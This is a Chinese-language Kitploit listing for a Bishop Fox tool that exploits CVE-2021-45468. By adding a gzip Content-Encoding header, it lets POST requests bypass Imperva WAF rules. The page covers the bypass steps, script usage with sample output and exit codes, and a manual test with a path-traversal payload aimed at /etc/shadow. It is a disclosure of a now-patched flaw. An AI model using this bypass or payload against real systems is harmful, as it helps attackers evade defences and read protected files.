Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Imperva_gzip_bypass — CVE-2021-45468 的漏洞利用程序,用于绕过 Imperva WAF。 | Kitploit
工具/GitHubGitHub/0xhaggis/imperva_gzip_bypass
漏洞分析漏洞利用IDS/IPS规避Web应用程序漏洞利用WAF绕过渗透测试
GitHub0xhaggis/imperva_gzip_bypass

Imperva_gzip_bypass

CVE-2021-45468 的漏洞利用程序,用于绕过 Imperva WAF。

查看仓库
6244年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Imperva Web应用防火墙 (WAF) POST请求绕过

Imperva Cloud WAF 存在一个绕过漏洞,允许攻击者在发送恶意 HTTP POST 负载(如 log4j 漏洞利用、SQL 注入、命令执行、目录遍历、XXE 等)时规避 WAF 规则。

修复措施

Imperva 团队在收到报告后高度重视,并在短短几天内完成了全局修复,值得称赞。自 2021 年 12 月 22 日起,所有 Cloud WAF 客户已自动获得补丁。Imperva 团队合作愉快,显然拥有成熟、专业且能力强大的安全团队。

漏洞利用方法

向 HTTP POST 请求中添加 Content-Encoding: gzip 标头。保持 POST 数据原样不变,无需编码。只要 Content-Encoding 标头的前四个字节是 gzip,POST 请求就不会被任何 WAF 规则检查。

你可以在 Burp 中通过代理的“匹配与替换”(Match & Replace)功能实现这一点:

添加一个如下所示的新标头:

就这样,大功告成。

运行测试脚本

针对支持 POST 请求的 URL 运行 imperva_gzip.py,语法如下:

语法: ./imperva_gzip.py [[-t] | [-r]] URL

猜测给定 URL 的 WAF 类型:

root@kitploit:~
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare

检查 WAF 是否受 gzip 绕过漏洞影响:

root@kitploit:~
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] 能否向 https://www.vulnerable.com/search 发送 POST 请求?
[+] 正在检查是否存在 Imperva WAF...
[+] 正在针对 UNIX 触发器尝试 gzip 绕过...
[+] 存在漏洞!HTTP 响应码: 200
[+] 正在针对 Windows 触发器尝试 gzip 绕过...
[+] 存在漏洞!HTTP 响应码: 200

如果遇到以下错误:

root@kitploit:~
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] 能否向 https://www.vulnerable.com/search 发送 POST 请求?
[!] 无法向 https://www.vulnerable.com/search 发送 POST 请求。如果允许 30x 重定向,请尝试使用 -r 参数。HTTP 响应码: 302

则在命令行中传递 -r 参数以启用宽松模式。宽松模式默认关闭,即要求 POST 请求预期会收到服务器的 HTTP 200 响应。-r 会将可接受的响应范围扩展至 HTTP 2xx、3xx。

脚本退出码

imperva_gzip.py 的退出码如下:

root@kitploit:~
0: 成功获取 WAF 类型后返回。
1: 命令行参数无效。
2: 连接错误。可能为 DNS 错误、超时等。
3: 未检测到 WAF;恶意 UNIX/Windows 负载未被拦截。
4: 检测到 WAF,但非 Imperva。
5: 服务器对测试 POST 请求的响应不是 HTTP 200。
128: 存在 Imperva WAF,但不受 gzip 绕过影响。
129: 绕过对 UNIX 负载有效,但对 Windows 负载无效。
130: 绕过对 Windows 负载有效,但对 UNIX 负载无效。
131: 绕过对 Windows 和 UNIX 负载均有效。

手动测试漏洞流程

发送三个 POST 请求:

  1. 使用有效但无害的 POST 请求建立基线 POST 请求/响应
  2. 用相同的 POST 请求触发 Imperva WAF,但在请求体中添加额外的“恶意”数据,如 &test=../../../../../../../etc/shadow,以确认 Imperva 会拦截
  3. 在相同的恶意请求中添加 Content-Encoding: gzip 标头,确认 Imperva 不再拦截

其他编码方式

根据 https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding,`Content-Encoding` 标头有四个有效值:

  • compress
  • deflate
  • gzip
  • br

在测试中,只有 gzip 可以作为绕过方式。

受影响版本

Imperva Cloud WAF

Cloud WAF 由 Imperva 管理。因此,Cloud WAF 的更新几乎会同时影响所有客户。自 2021 年 12 月 22 日起,所有客户均已修补。

SecureSphere

gzip 绕过漏洞已在 Imperva 的另一款产品 SecureSphere 中得到修复。SecureSphere v12.6 的发布说明中包含以下段落:

SPHR-58185:当 SecureSphere 无法解压带有“Content-Encoding: gzip/deflate”标头的请求中的 POST 主体时,它既未发出警报,也未阻止该请求通过。

我非常确定这是同一个漏洞,可能继承了与 Cloud WAF 相同的代码……这两个产品中出现如此特定的漏洞绝非偶然。该问题已于 2021 年 2 月在 SecureSphere 中解决,但我们不清楚它从何时开始存在。该漏洞可能已存在数年之久!

联系方式

Bishop Fox

  • 作者:@carllivitt @bishopfox
  • 红队安全服务:Bishop Fox
  • 持续性红队安全服务:Bishop Fox Cosmos
  • 疯狂科学家:Bishop Fox Labs

Imperva

Imperva 客户支持:https://www.imperva.com/support/technical-support/

参考资料

  • Imperva Cloud WAF
  • Imperva SecureSphere 12.6 发布说明
  • Content-Encoding HTTP 标头
下载工具